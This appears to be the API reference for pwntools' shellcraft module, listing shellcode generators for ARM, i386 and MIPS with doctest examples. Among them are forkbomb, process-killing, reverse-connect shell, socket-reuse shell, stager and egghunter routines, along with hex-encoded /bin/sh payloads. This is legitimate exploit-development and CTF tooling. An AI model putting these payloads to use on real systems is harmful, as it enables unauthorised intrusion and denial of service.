```

pwnlib.shellcraft.arm.linux.**egghunter** (*egg*, *start_address = 0*, *double_check = True*)
    Searches for an egg, which is either a four byte integer or a four byte string. The egg must appear twice in a row if double_check is True. When the egg has been found the egghunter branches to the address following it. If start_address has been specified search will start on the first address of the page that contains that address.

pwnlib.shellcraft.arm.linux.**forkbomb** ()
    Performs a forkbomb attack.

pwnlib.shellcraft.arm.linux.**forkexit** ()
    Attempts to fork. If the fork is successful, the parent exits.

pwnlib.shellcraft.arm.linux.**killparent** ()
    Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

pwnlib.shellcraft.arm.linux.**open_file** (*filepath*, *flags='O_RDONLY'*, *mode=420*)
    Opens a file. Leaves the file descriptor in r0.

> **Parameters**

- **filepath** (*str*) – The file to open.

- **flags** (*int/str*) – The flags to call open with.

- **mode** (*int/str*) – The attribute to create the flag. Only matters of `flags & O_CREAT` is set.

`pwnlib.shellcraft.arm.linux.`**`sh`**`()`

    Execute a different process.

```
>>> p = run_assembly(shellcraft.arm.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

`pwnlib.shellcraft.arm.linux.`**`syscall`**(*syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None, arg6=None*)

    Args: [syscall_number, *args] Does a syscall

    Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print shellcraft.arm.linux.syscall(11, 1, 'sp', 2, 0).rstrip()
    /* call syscall(11, 1, 'sp', 2, 0) */
    mov  r0, #1
    mov  r1, sp
    mov  r2, #2
    eor  r3, r3 /* 0 (#0) */
    mov  r7, #0xb
    svc  0
>>> print shellcraft.arm.linux.syscall('SYS_exit', 0).rstrip()
    /* call exit(0) */
    eor  r0, r0 /* 0 (#0) */
    mov  r7, #SYS_exit /* 1 */
    svc  0
>>> print pwnlib.shellcraft.open('/home/pwn/flag').rstrip()
    /* open(file='/home/pwn/flag', oflag=0, mode=0) */
    /* push '/home/pwn/flag\x00A' */
    movw r7, #0x41006761 & 0xffff
    movt r7, #0x41006761 >> 16
    push {r7}
    movw r7, #0x6c662f6e & 0xffff
    movt r7, #0x6c662f6e >> 16
    push {r7}
    movw r7, #0x77702f65 & 0xffff
    movt r7, #0x77702f65 >> 16
    push {r7}
    movw r7, #0x6d6f682f & 0xffff
    movt r7, #0x6d6f682f >> 16
    push {r7}
    mov  r0, sp
    eor  r1, r1 /* 0 (#0) */
    eor  r2, r2 /* 0 (#0) */
    /* call open() */
    mov  r7, #SYS_open /* 5 */
    svc  0
```

pwnlib.shellcraft.common — Shellcode common to all architecture

Shellcraft module containing shellcode common to all platforms.

pwnlib.shellcraft.common.**label**(*prefix='label'*)
    Returns a new unique label with a given prefix.

>   **Parameters prefix** (`str`) – The string to prefix the label with

pwnlib.shellcraft.i386 — Shellcode for Intel 80386

pwnlib.shellcraft.i386

Shellcraft module containing generic Intel i386 shellcodes.

pwnlib.shellcraft.i386.**breakpoint**()
    A single-byte breakpoint instruction.

pwnlib.shellcraft.i386.**crash**()
    Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

pwnlib.shellcraft.i386.**epilog**(*nargs=0*)
    Function epilogue.

>   **Parameters nargs** (`int`) – Number of arguments to pop off the stack.

pwnlib.shellcraft.i386.**function**(*name*, *template_function*, **registers*)
    Converts a shellcraft template into a callable function.

>   **Parameters**
>
>   - **template_sz** (`callable`) – Rendered shellcode template. Any variable Arguments
>   should be supplied as registers.
>
>   - **name** (`str`) – Name of the function.
>
>   - **registers** (`list`) – List of registers which should be filled from the stack.

```
>>> shellcode = ''
>>> shellcode += shellcraft.function('write', shellcraft.i386.linux.write, )

>>> hello = shellcraft.i386.linux.echo("Hello!", 'eax')
>>> hello_fn = shellcraft.i386.function(hello, 'eax').strip()
>>> exit = shellcraft.i386.linux.exit('edi')
>>> exit_fn = shellcraft.i386.function(exit, 'edi').strip()
>>> shellcode = '''
...     push STDOUT_FILENO
...     call hello
...     push 33
...     call exit
... hello:
...     %(hello_fn)s
```

```
... exit:
...      %(exit_fn)s
... ''' % (locals())
>>> p = run_assembly(shellcode)
>>> p.recvall()
'Hello!'
>>> p.wait_for_close()
>>> p.poll()
33
```

Notes

Can only be used on a shellcraft template which takes all of its arguments as registers. For example, the pushstr

pwnlib.shellcraft.i386.**getpc**(*register='ecx'*)
    Retrieves the value of EIP, stores it in the desired register.

>   **Parameters return_value** – Value to return

pwnlib.shellcraft.i386.**infloop**()
    A two-byte infinite loop.

pwnlib.shellcraft.i386.**itoa**(*v*, *buffer='esp'*, *allocate_stack=True*)
    Converts an integer into its string representation, and pushes it onto the stack.

>   **Parameters**
>
>   - **v** (`str, int`) – Integer constant or register that contains the value to convert.
>
>   - **alloca** –

Example

```
>>> sc = shellcraft.i386.mov('eax', 0xdeadbeef)
>>> sc += shellcraft.i386.itoa('eax')
>>> sc += shellcraft.i386.linux.write(1, 'esp', 32)
>>> run_assembly(sc).recvuntil('\x00')
'3735928559\x00'
```

pwnlib.shellcraft.i386.**memcpy**(*dest*, *src*, *n*)
    Copies memory.

>   **Parameters**
>
>   - **dest** – Destination address
>
>   - **src** – Source address
>
>   - **n** – Number of bytes

pwnlib.shellcraft.i386.**mov**(*dest*, *src*, *stack_allowed=True*)
    Move src into dest without newlines and null bytes.

    If the src is a register smaller than the dest, then it will be zero-extended to fit inside the larger register.

    If the src is a register larger than the dest, then only some of the bits will be used.

If src is a string that is not a register, then it will locally set *context.arch* to *'i386'* and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

> **Parameters**
>
> > - **dest** (*str*) – The destination register.
> >
> > - **src** (*str*) – Either the input register, or an immediate value.
> >
> > - **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print shellcraft.i386.mov('eax','ebx').rstrip()
    mov eax, ebx
>>> print shellcraft.i386.mov('eax', 0).rstrip()
    xor eax, eax
>>> print shellcraft.i386.mov('ax', 0).rstrip()
    xor ax, ax
>>> print shellcraft.i386.mov('ax', 17).rstrip()
    xor ax, ax
    mov al, 0x11
>>> print shellcraft.i386.mov('edi', ord('\n')).rstrip()
    push 9 /* mov edi, '\n' */
    pop edi
    inc edi
>>> print shellcraft.i386.mov('al', 'ax').rstrip()
    /* moving ax into al, but this is a no-op */
>>> print shellcraft.i386.mov('al','ax').rstrip()
    /* moving ax into al, but this is a no-op */
>>> print shellcraft.i386.mov('esp', 'esp').rstrip()
    /* moving esp into esp, but this is a no-op */
>>> print shellcraft.i386.mov('ax', 'bl').rstrip()
    movzx ax, bl
>>> print shellcraft.i386.mov('eax', 1).rstrip()
    push 1
    pop eax
>>> print shellcraft.i386.mov('eax', 1, stack_allowed=False).rstrip()
    xor eax, eax
    mov al, 1
>>> print shellcraft.i386.mov('eax', 0xdead00ff).rstrip()
    mov eax, -0xdead00ff
    neg eax
>>> print shellcraft.i386.mov('eax', 0xc0).rstrip()
    xor eax, eax
    mov al, 0xc0
>>> print shellcraft.i386.mov('edi', 0xc0).rstrip()
    mov edi, -0xc0
    neg edi
>>> print shellcraft.i386.mov('eax', 0xc000).rstrip()
    xor eax, eax
    mov ah, 0xc000 >> 8
>>> print shellcraft.i386.mov('eax', 0xffc000).rstrip()
    mov eax, 0x1010101
    xor eax, 0x1010101 ^ 0xffc000
>>> print shellcraft.i386.mov('edi', 0xc000).rstrip()
```

```
    mov edi, (-1) ^ 0xc000
    not edi
>>> print shellcraft.i386.mov('edi', 0xf500).rstrip()
    mov edi, 0x1010101
    xor edi, 0x1010101 ^ 0xf500
>>> print shellcraft.i386.mov('eax', 0xc0c0).rstrip()
    xor eax, eax
    mov ax, 0xc0c0
>>> print shellcraft.i386.mov('eax', 'SYS_execve').rstrip()
    push SYS_execve /* 0xb */
    pop eax
>>> with context.local(os='freebsd'):
...     print shellcraft.i386.mov('eax', 'SYS_execve').rstrip()
    push SYS_execve /* 0x3b */
    pop eax
>>> print shellcraft.i386.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').
→rstrip()
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop eax
```

pwnlib.shellcraft.i386.**nop**()
    A single-byte nop instruction.

pwnlib.shellcraft.i386.**prolog**()
    Function prologue.

pwnlib.shellcraft.i386.**push**(*value*)
    Pushes a value onto the stack without using null bytes or newline characters.

    If src is a string, then we try to evaluate with *context.arch = 'i386'* using pwnlib.constants.eval()
    before determining how to push it. Note that this means that this shellcode can change behavior depending on
    the value of *context.os*.

        Parameters **value** (*int, str*) – The value or register to push

Example

```
>>> print pwnlib.shellcraft.i386.push(0).rstrip()
    /* push 0 */
    push 1
    dec byte ptr [esp]
>>> print pwnlib.shellcraft.i386.push(1).rstrip()
    /* push 1 */
    push 1
>>> print pwnlib.shellcraft.i386.push(256).rstrip()
    /* push 0x100 */
    push 0x1010201
    xor dword ptr [esp], 0x1010301
>>> print pwnlib.shellcraft.i386.push('SYS_execve').rstrip()
    /* push SYS_execve (0xb) */
    push 0xb
>>> print pwnlib.shellcraft.i386.push('SYS_sendfile').rstrip()
    /* push SYS_sendfile (0xbb) */
    push 0x1010101
    xor dword ptr [esp], 0x10101ba
>>> with context.local(os = 'freebsd'):
```

```
...       print pwnlib.shellcraft.i386.push('SYS_execve').rstrip()
    /* push SYS_execve (0x3b) */
    push 0x3b
```

pwnlib.shellcraft.i386.**pushstr**(*string*, *append_null=True*)
> Pushes a string onto the stack without using null bytes or newline characters.

Example

```
>>> print shellcraft.i386.pushstr('').rstrip()
    /* push '\x00' */
    push 1
    dec byte ptr [esp]
>>> print shellcraft.i386.pushstr('a').rstrip()
    /* push 'a\x00' */
    push 0x61
>>> print shellcraft.i386.pushstr('aa').rstrip()
    /* push 'aa\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016060
>>> print shellcraft.i386.pushstr('aaa').rstrip()
    /* push 'aaa\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1606060
>>> print shellcraft.i386.pushstr('aaaa').rstrip()
    /* push 'aaaa\x00' */
    push 1
    dec byte ptr [esp]
    push 0x61616161
>>> print shellcraft.i386.pushstr('aaaaa').rstrip()
    /* push 'aaaaa\x00' */
    push 0x61
    push 0x61616161
>>> print shellcraft.i386.pushstr('aaaa', append_null = False).rstrip()
    /* push 'aaaa' */
    push 0x61616161
>>> print shellcraft.i386.pushstr('\xc3').rstrip()
    /* push '\xc3\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x10101c2
>>> print shellcraft.i386.pushstr('\xc3', append_null = False).rstrip()
    /* push '\xc3' */
    push -0x3d
>>> with context.local():
...     context.arch = 'i386'
...     print enhex(asm(shellcraft.pushstr("/bin/sh")))
68010101018134242e726901682f62696e
>>> with context.local():
...     context.arch = 'i386'
...     print enhex(asm(shellcraft.pushstr("")))
6a01fe0c24
>>> with context.local():
...     context.arch = 'i386'
...     print enhex(asm(shellcraft.pushstr("\x00", False)))
6a01fe0c24
```

Parameters

- **string** (*str*) – The string to push.

- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

pwnlib.shellcraft.i386.**pushstr_array**(*reg*, *array*)

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.

- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

pwnlib.shellcraft.i386.**ret**(*return_value=None*)

A single-byte RET instruction.

Parameters **return_value** – Value to return

pwnlib.shellcraft.i386.**setregs**(*reg_context*, *stack_allowed=True*)

Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

Parameters

- **reg_context** (*dict*) – Desired register context

- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print shellcraft.setregs({'eax':1, 'ebx':'eax'}).rstrip()
    mov ebx, eax
    push 1
    pop eax
>>> print shellcraft.setregs({'eax':'ebx', 'ebx':'eax', 'ecx':'ebx'}).rstrip()
    mov ecx, ebx
    xchg eax, ebx
```

pwnlib.shellcraft.i386.**stackarg**(*index*, *register*)

Loads a stack-based argument into a register.

Assumes that the 'prolog' code was used to save EBP.

Parameters

- **index** (*int*) – Zero-based argument index.

- **register** (*str*) – Register name.

pwnlib.shellcraft.i386.**stackhunter**(*cookie = 0x7afceb58*)

Returns an an egghunter, which searches from esp and upwards for a cookie. However to save bytes, it only looks at a single 4-byte alignment. Use the function stackhunter_helper to generate a suitable cookie prefix for you.

The default cookie has been chosen, because it makes it possible to shave a single byte, but other cookies can be used too.

Example

```
>>> with context.local():
...     context.arch = 'i386'
...     print enhex(asm(shellcraft.stackhunter()))
3d58ebfc7a75faffe4
>>> with context.local():
...     context.arch = 'i386'
...     print enhex(asm(shellcraft.stackhunter(0xdeadbeef)))
583defbeadde75f8ffe4
```

pwnlib.shellcraft.i386.**strcpy**(*dst*, *src*)
   Copies a string

Example

```
>>> sc  = 'jmp get_str\n'
>>> sc += 'pop_str: pop eax\n'
>>> sc += shellcraft.i386.strcpy('esp', 'eax')
>>> sc += shellcraft.i386.linux.write(1, 'esp', 32)
>>> sc += shellcraft.i386.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).recvline()
'Hello, world\n'
```

pwnlib.shellcraft.i386.**strlen**(*string*, *reg='ecx'*)
   Calculate the length of the specified string.

> **Parameters**
>
> - **string** (*str*) – Register or address with the string
>
> - **reg** (*str*) – Named register to return the value in, ecx is the default.

Example

```
>>> sc  = 'jmp get_str\n'
>>> sc += 'pop_str: pop eax\n'
>>> sc += shellcraft.i386.strlen('eax')
>>> sc += 'push ecx;'
>>> sc += shellcraft.i386.linux.write(1, 'esp', 4)
>>> sc += shellcraft.i386.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).unpack() == len('Hello, world\n')
True
```

pwnlib.shellcraft.i386.**trap**()
   A trap instruction.

pwnlib.shellcraft.i386.**xor**(*key*, *address*, *count*)
   XORs data a constant value.

> **Parameters**

- **key** (`int`, `str`) – XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes. Alternately, may be a register.

- **address** (`int`) – Address of the data (e.g. 0xdead0000, 'esp')

- **count** (`int`) – Number of bytes to XOR, or a register containing the number of bytes to XOR.

Example

```
>>> sc  = shellcraft.read(0, 'esp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'esp', 32)
>>> sc += shellcraft.write(1, 'esp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recvn(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.i386.linux

Shellcraft module containing Intel i386 shellcodes for Linux.

pwnlib.shellcraft.i386.linux.**acceptloop_ipv4**(*port*)

> **Parameters port** (`int`) – the listening port

Waits for a connection. Leaves socket in EBP. ipv4 only

pwnlib.shellcraft.i386.linux.**cat**(*filename*, *fd=1*)
> Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG')
>>> run_assembly(shellcraft.i386.linux.cat(f)).recvall()
'FLAG'
```

pwnlib.shellcraft.i386.linux.**connect**(*host*, *port*, *network='ipv4'*)
> Connects to the host on the specified port. Leaves the connected socket in edx

> **Parameters**

>> - **host** (`str`) – Remote IP address or hostname (as a dotted quad / string)

>> - **port** (`int`) – Remote port

>> - **network** (`str`) – Network protocol (ipv4 or ipv6)

Examples

```
>>> l = listen(timeout=5)
>>> assembly  = shellcraft.i386.linux.connect('localhost', l.lport)
>>> assembly += shellcraft.i386.pushstr('Hello')
>>> assembly += shellcraft.i386.linux.write('edx', 'esp', 5)
>>> p = run_assembly(assembly)
>>> l.wait_for_connection().recv()
'Hello'
```

```
>>> l = listen(fam='ipv6', timeout=5)
>>> assembly = shellcraft.i386.linux.connect('::1', l.lport, 'ipv6')
>>> p = run_assembly(assembly)
>>> assert l.wait_for_connection()
```

pwnlib.shellcraft.i386.linux.**connectstager**(*host*, *port*, *network='ipv4'*)
    connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

pwnlib.shellcraft.i386.linux.**dir**(*in_fd='ebp'*, *size=2048*, *allocate_stack=True*)
    Reads to the stack from a directory.

>   **Parameters**

>   - **in_fd** (*int/str*) – File descriptor to be read from.

>   - **size** (*int*) – Buffer size.

>   - **allocate_stack** (*bool*) – allocate 'size' bytes on the stack.

    You can optioanlly shave a few bytes not allocating the stack space.

    The size read is left in eax.

pwnlib.shellcraft.i386.linux.**dupio**(*sock='ebp'*)
    Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr

pwnlib.shellcraft.i386.linux.**dupsh**(*sock='ebp'*)
    Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

pwnlib.shellcraft.i386.linux.**echo**(*string*, *sock='1'*)
    Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello', 1)).recvall()
'hello'
```

pwnlib.shellcraft.i386.linux.**egghunter**(*egg*, *start_address = 0*)
    Searches memory for the byte sequence 'egg'.

    Return value is the address immediately following the match, stored in RDI.

>   **Parameters**

>   - **egg** (*str, int*) – String of bytes, or word-size integer to search for

>   - **start_address** (*int*) – Where to start the search

pwnlib.shellcraft.i386.linux.**findpeer**(*port=None*)
    Args: port (defaults to any port) Finds a socket, which is connected to the specified port. Leaves socket in ESI.

pwnlib.shellcraft.i386.linux.**findpeersh**(*port=None*)
> Args: port (defaults to any) Finds an open socket which connects to a specified port, and then opens a dup2 shell on it.

pwnlib.shellcraft.i386.linux.**findpeerstager**(*port=None*)
> Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

pwnlib.shellcraft.i386.linux.**forkbomb**()
> Performs a forkbomb attack.

pwnlib.shellcraft.i386.linux.**forkexit**()
> Attempts to fork. If the fork is successful, the parent exits.

pwnlib.shellcraft.i386.linux.**i386_to_amd64**()
> Returns code to switch from i386 to amd64 mode.

pwnlib.shellcraft.i386.linux.**killparent**()
> Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

pwnlib.shellcraft.i386.linux.**loader**(*address*)
> Loads a statically-linked ELF into memory and transfers control.
>
> > **Parameters address** (*int*) – Address of the ELF as a register or integer.

pwnlib.shellcraft.i386.linux.**loader_append**(*data=None*)
> Loads a statically-linked ELF into memory and transfers control.
>
> Similar to loader.asm but loads an appended ELF.
>
> > **Parameters data** (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If None, it is ignored.

Example

```
>>> gcc = process(['gcc','-m32','-xc','-static','-Wl,-Ttext-segment=0x20000000','-
↪'])
>>> gcc.write('''
... int main() {
...     printf("Hello, %s!\\n", "i386");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True)
0
>>> sc = shellcraft.loader_append('a.out')
```

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

> # >>> run_assembly(sc).recvline() == 'Hello, i386!n' # True

pwnlib.shellcraft.i386.linux.**mprotect_all**(*clear_ebx=True, fix_null=False*)
> Calls mprotect(page, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) for every page.
>
> It takes around 0.3 seconds on my box, but your milage may vary.
>
> > **Parameters**
> >
> > • **clear_ebx** (*bool*) – If this is set to False, then the shellcode will assume that ebx has already been zeroed.

- **fix_null** (`bool`) – If this is set to True, then the NULL-page will also be mprotected at the cost of slightly larger shellcode

pwnlib.shellcraft.i386.linux.**pidmax**()
    Retrieves the highest numbered PID on the system, according to the sysctl kernel.pid_max.

pwnlib.shellcraft.i386.linux.**readfile**(*path*, *dst='esi'*)
    Args: [path, dst (imm/reg) = esi] Opens the specified file path and sends its content to the specified file descriptor.

pwnlib.shellcraft.i386.linux.**readn**(*fd*, *buf*, *nbytes*)
    Reads exactly nbytes bytes from file descriptor fd into the buffer buf.

> **Parameters**
>
> - **fd** (`int`) – fd
>
> - **buf** (`void`) – buf
>
> - **nbytes** (`size_t`) – nbytes

pwnlib.shellcraft.i386.linux.**recvsize**(*sock*, *reg='ecx'*)
    Recives 4 bytes size field Useful in conjuncion with findpeer and stager :param sock, the socket to read the payload from.: :param reg, the place to put the size: :type reg, the place to put the size: default ecx

    Leaves socket in ebx

pwnlib.shellcraft.i386.linux.**setregid**(*gid='egid'*)
    Args: [gid (imm/reg) = egid] Sets the real and effective group id.

pwnlib.shellcraft.i386.linux.**setreuid**(*uid='euid'*)
    Args: [uid (imm/reg) = euid] Sets the real and effective user id.

pwnlib.shellcraft.i386.linux.**sh**()
    Execute a different process.

```
>>> p = run_assembly(shellcraft.i386.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

pwnlib.shellcraft.i386.linux.**socket**(*network='ipv4'*, *proto='tcp'*)
    Creates a new socket

pwnlib.shellcraft.i386.linux.**socketcall**(*socketcall*, *socket*, *sockaddr*, *sockaddr_len*)
    Invokes a socket call (e.g. socket, send, recv, shutdown)

pwnlib.shellcraft.i386.linux.**stage**(*fd=0*, *length=None*)
    Migrates shellcode to a new buffer.

> **Parameters**
>
> - **fd** (`int`) – Integer file descriptor to recv data from. Default is stdin (0).
>
> - **length** (`int`) – Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
'Hello\n'
```

pwnlib.shellcraft.i386.linux.**stager**(*sock*, *size*, *handle_error=False*, *tiny=False*)

> Recives a fixed sized payload into a mmaped buffer Useful in conjuncion with findpeer. :param sock, the socket to read the payload from.: :param size, the size of the payload:

pwnlib.shellcraft.i386.linux.**syscall**(*syscall=None*, *arg0=None*, *arg1=None*, *arg2=None*, *arg3=None*, *arg4=None*, *arg5=None*)

> **Args: [syscall_number, *args]** Does a syscall
>
> Any of the arguments can be expressions to be evaluated by pwnlib.constants.eval().

Example

```
>>> print pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 1, 'esp', 2, 0).
↪rstrip()
    /* call execve(1, 'esp', 2, 0) */
    push SYS_execve /* 0xb */
    pop eax
    push 1
    pop ebx
    mov ecx, esp
    push 2
    pop edx
    xor esi, esi
    int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 2, 1, 0, 20).rstrip()
    /* call execve(2, 1, 0, 0x14) */
    push SYS_execve /* 0xb */
    pop eax
    push 2
    pop ebx
    push 1
    pop ecx
    push 0x14
    pop esi
    cdq /* edx=0 */
    int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall().rstrip()
    /* call syscall() */
    int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall('eax', 'ebx', 'ecx').rstrip()
    /* call syscall('eax', 'ebx', 'ecx') */
    /* setregs noop */
    int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall('ebp', None, None, 1).rstrip()
    /* call syscall('ebp', ?, ?, 1) */
    mov eax, ebp
    push 1
    pop edx
    int 0x80
```

(continues on next page)

```
>>> print pwnlib.shellcraft.i386.linux.syscall(
...             'SYS_mmap2', 0, 0x1000,
...             'PROT_READ | PROT_WRITE | PROT_EXEC',
...             'MAP_PRIVATE | MAP_ANONYMOUS',
...             -1, 0).rstrip()
    /* call mmap2(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE |␣
↪MAP_ANONYMOUS', -1, 0) */
    xor eax, eax
    mov al, 0xc0
    xor ebp, ebp
    xor ebx, ebx
    xor ecx, ecx
    mov ch, 0x1000 >> 8
    push -1
    pop edi
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop edx
    push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
    pop esi
    int 0x80
>>> print pwnlib.shellcraft.open('/home/pwn/flag').rstrip()
    /* open(file='/home/pwn/flag', oflag=0, mode=0) */
    /* push '/home/pwn/flag\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016660
    push 0x6c662f6e
    push 0x77702f65
    push 0x6d6f682f
    mov ebx, esp
    xor ecx, ecx
    xor edx, edx
    /* call open() */
    push SYS_open /* 5 */
    pop eax
    int 0x80
```

pwnlib.shellcraft.i386.freebsd

Shellcraft module containing Intel i386 shellcodes for FreeBSD.

pwnlib.shellcraft.i386.freebsd.**acceptloop_ipv4**(*port*)
    Args: port Waits for a connection. Leaves socket in EBP. ipv4 only

pwnlib.shellcraft.i386.freebsd.**i386_to_amd64**()
    Returns code to switch from i386 to amd64 mode.

pwnlib.shellcraft.i386.freebsd.**sh**()
    Execute /bin/sh

pwnlib.shellcraft.mips — Shellcode for MIPS

pwnlib.shellcraft.mips

Shellcraft module containing generic MIPS shellcodes.

pwnlib.shellcraft.mips.**mov**(*dst*, *src*)

Move src into dst without newlines and null bytes.

Register $t8 and $t9 are not guarenteed to be preserved.

If src is a string that is not a register, then it will locally set *context.arch* to *'mips'* and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

> **Parameters**
>
> > - **dst** (`str`) – The destination register.
> >
> > - **src** (`str`) – Either the input register, or an immediate value.

Example

```
>>> print shellcraft.mips.mov('$t0', 0).rstrip()
    slti $t0, $zero, 0xFFFF /* $t0 = 0 */
>>> print shellcraft.mips.mov('$t2', 0).rstrip()
    xor $t2, $t2, $t2  /* $t2 = 0 */
>>> print shellcraft.mips.mov('$t0', 0xcafebabe).rstrip()
    li $t0, 0xcafebabe
>>> print shellcraft.mips.mov('$t2', 0xcafebabe).rstrip()
    li $t9, 0xcafebabe
    add $t2, $t9, $zero
>>> print shellcraft.mips.mov('$s0', 0xca0000be).rstrip()
    li $t9, ~0xca0000be
    not $s0, $t9
>>> print shellcraft.mips.mov('$s0', 0xca0000ff).rstrip()
    li $t9, 0x1010101 ^ 0xca0000ff
    li $s0, 0x1010101
    xor $s0, $t9, $s0
>>> print shellcraft.mips.mov('$t9', 0xca0000be).rstrip()
    li $t9, ~0xca0000be
    not $t9, $t9
>>> print shellcraft.mips.mov('$t2', 0xca0000be).rstrip()
    li $t9, ~0xca0000be
    not $t9, $t9
    add $t2, $t9, $0 /* mov $t2, $t9 */
>>> print shellcraft.mips.mov('$t2', 0xca0000ff).rstrip()
    li $t8, 0x1010101 ^ 0xca0000ff
    li $t9, 0x1010101
    xor $t9, $t8, $t9
    add $t2, $t9, $0 /* mov $t2, $t9 */
>>> print shellcraft.mips.mov('$a0', '$t2').rstrip()
    add $a0, $t2, $0 /* mov $a0, $t2 */
>>> print shellcraft.mips.mov('$a0', '$t8').rstrip()
    sw $t8, -4($sp) /* mov $a0, $t8 */
    lw $a0, -4($sp)
```

pwnlib.shellcraft.mips.**nop**()

MIPS nop instruction.

pwnlib.shellcraft.mips.**push**(*value*)

Pushes a value onto the stack.

pwnlib.shellcraft.mips.**pushstr**(*string*, *append_null=True*)

Pushes a string onto the stack without using null bytes or newline characters.

Example

```
>>> print shellcraft.mips.pushstr('').rstrip()
    /* push '\x00' */
    sw $zero, -4($sp)
    addiu $sp, $sp, -4
>>> print shellcraft.mips.pushstr('a').rstrip()
    /* push 'a\x00' */
    li $t9, ~0x61
    not $t1, $t9
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
>>> print shellcraft.mips.pushstr('aa').rstrip()
    /* push 'aa\x00' */
    ori $t1, $zero, 24929
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
>>> print shellcraft.mips.pushstr('aaa').rstrip()
    /* push 'aaa\x00' */
    li $t9, ~0x616161
    not $t1, $t9
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
>>> print shellcraft.mips.pushstr('aaaa').rstrip()
    /* push 'aaaa\x00' */
    li $t1, 0x61616161
    sw $t1, -8($sp)
    sw $zero, -4($sp)
    addiu $sp, $sp, -8
>>> print shellcraft.mips.pushstr('aaaaa').rstrip()
    /* push 'aaaaa\x00' */
    li $t1, 0x61616161
    sw $t1, -8($sp)
    li $t9, ~0x61
    not $t1, $t9
    sw $t1, -4($sp)
    addiu $sp, $sp, -8
>>> print shellcraft.mips.pushstr('aaaa', append_null = False).rstrip()
    /* push 'aaaa' */
    li $t1, 0x61616161
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
>>> print shellcraft.mips.pushstr('\xc3').rstrip()
    /* push '\xc3\x00' */
    li $t9, ~0xc3
    not $t1, $t9
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
>>> print shellcraft.mips.pushstr('\xc3', append_null = False).rstrip()
    /* push '\xc3' */
    li $t9, ~0xc3
    not $t1, $t9
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
>>> print enhex(asm(shellcraft.mips.pushstr("/bin/sh")))
696e093c2f622935f8ffa9af97ff193cd08c393727482003fcffa9aff8ffbd27
>>> print enhex(asm(shellcraft.mips.pushstr("")))
```

(continues on next page)

```
fcffa0affcffbd27
>>> print enhex(asm(shellcraft.mips.pushstr("\x00", False)))
fcffa0affcffbd27
```

> Parameters
>
> - **string** (*str*) – The string to push.
> - **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

pwnlib.shellcraft.mips.**pushstr_array**(*reg*, *array*)
> Pushes an array/envp-style array of pointers onto the stack.
>
> Parameters
>
> - **reg** (*str*) – Destination register to hold the pointer.
> - **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

pwnlib.shellcraft.mips.**setregs**(*reg_context*, *stack_allowed=True*)
> Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).
>
